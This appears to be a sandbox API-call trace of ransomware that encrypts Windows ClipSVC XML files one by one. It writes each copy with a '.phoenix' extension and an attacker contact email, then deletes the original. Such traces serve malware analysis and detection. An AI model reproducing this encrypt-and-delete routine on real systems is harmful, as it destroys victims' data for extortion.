	[0242.853] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0242.853] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0242.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0242.854] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.854] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0242.854] CryptDestroyKey (hKey=0x151780) returned 1
	[0242.854] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0242.854] CryptDestroyKey (hKey=0x151740) returned 1
	[0242.854] CloseHandle (hObject=0x2d8) returned 1
	[0242.854] CloseHandle (hObject=0x2d0) returned 1
	[0242.854] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1dae14df-4c42-28af-691e-10cc07a990b4.xml")) returned 1
	[0242.855] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.856] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2634) returned 1
	[0242.856] CloseHandle (hObject=0x2d0) returned 1
	[0242.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml")) returned 0x20
	[0242.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.856] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.856] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.857] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1511c0) returned 1
	[0242.857] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.857] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa4a, lpOverlapped=0x0) returned 1
	[0242.937] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0242.937] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0242.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0242.938] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.938] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0242.938] CryptDestroyKey (hKey=0x151180) returned 1
	[0242.938] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0242.938] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0242.938] CloseHandle (hObject=0x2d0) returned 1
	[0242.938] CloseHandle (hObject=0x2d8) returned 1
	[0242.938] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\1e225998-faa0-5fd4-4db7-5e7686ee3b47.xml")) returned 1
	[0242.939] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0242.939] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.940] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2782) returned 1
	[0242.940] CloseHandle (hObject=0x2d8) returned 1
	[0242.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml")) returned 0x20
	[0242.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.940] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0242.940] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.940] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0242.940] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0242.941] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0242.941] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0242.941] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xade, lpOverlapped=0x0) returned 1
	[0243.037] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xae0, dwBufLen=0xae0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xae0) returned 1
	[0243.037] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xae0, lpOverlapped=0x0) returned 1
	[0243.038] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151580) returned 1
	[0243.038] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.038] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.038] CryptDestroyKey (hKey=0x151580) returned 1
	[0243.038] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.038] CryptDestroyKey (hKey=0x151200) returned 1
	[0243.038] CloseHandle (hObject=0x2d8) returned 1
	[0243.038] CloseHandle (hObject=0x2d0) returned 1
	[0243.038] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\215f9712-9fca-a3f8-5b11-660eefc73b96.xml")) returned 1
	[0243.039] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0243.039] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3196) returned 1
	[0243.040] CloseHandle (hObject=0x2d0) returned 1
	[0243.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml")) returned 0x20
	[0243.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0243.040] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.040] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.042] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0243.042] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.042] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc7c, lpOverlapped=0x0) returned 1
	[0243.089] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0243.089] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0243.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0243.090] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.090] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.090] CryptDestroyKey (hKey=0x151180) returned 1
	[0243.090] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.090] CryptDestroyKey (hKey=0x151700) returned 1
	[0243.090] CloseHandle (hObject=0x2d0) returned 1
	[0243.090] CloseHandle (hObject=0x2d8) returned 1
	[0243.090] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2657f7c0-8294-58c3-f394-15fe18ba174a.xml")) returned 1
	[0243.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.092] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3191) returned 1
	[0243.092] CloseHandle (hObject=0x2d8) returned 1
	[0243.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml")) returned 0x20
	[0243.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.092] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.092] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0243.093] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0243.093] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.093] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc77, lpOverlapped=0x0) returned 1
	[0243.176] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0243.176] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0243.177] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0243.177] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.177] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.177] CryptDestroyKey (hKey=0x151700) returned 1
	[0243.177] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.177] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0243.177] CloseHandle (hObject=0x2d8) returned 1
	[0243.177] CloseHandle (hObject=0x2d0) returned 1
	[0243.177] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\26943e1f-42ed-f190-2895-3bc2b8c4176d.xml")) returned 1
	[0243.178] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.178] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0243.179] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3549) returned 1
	[0243.179] CloseHandle (hObject=0x2d0) returned 1
	[0243.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml")) returned 0x20
	[0243.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.179] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0243.179] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.179] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.179] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.182] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151680) returned 1
	[0243.182] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.182] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xddd, lpOverlapped=0x0) returned 1
	[0243.236] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xde0, dwBufLen=0xde0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xde0) returned 1
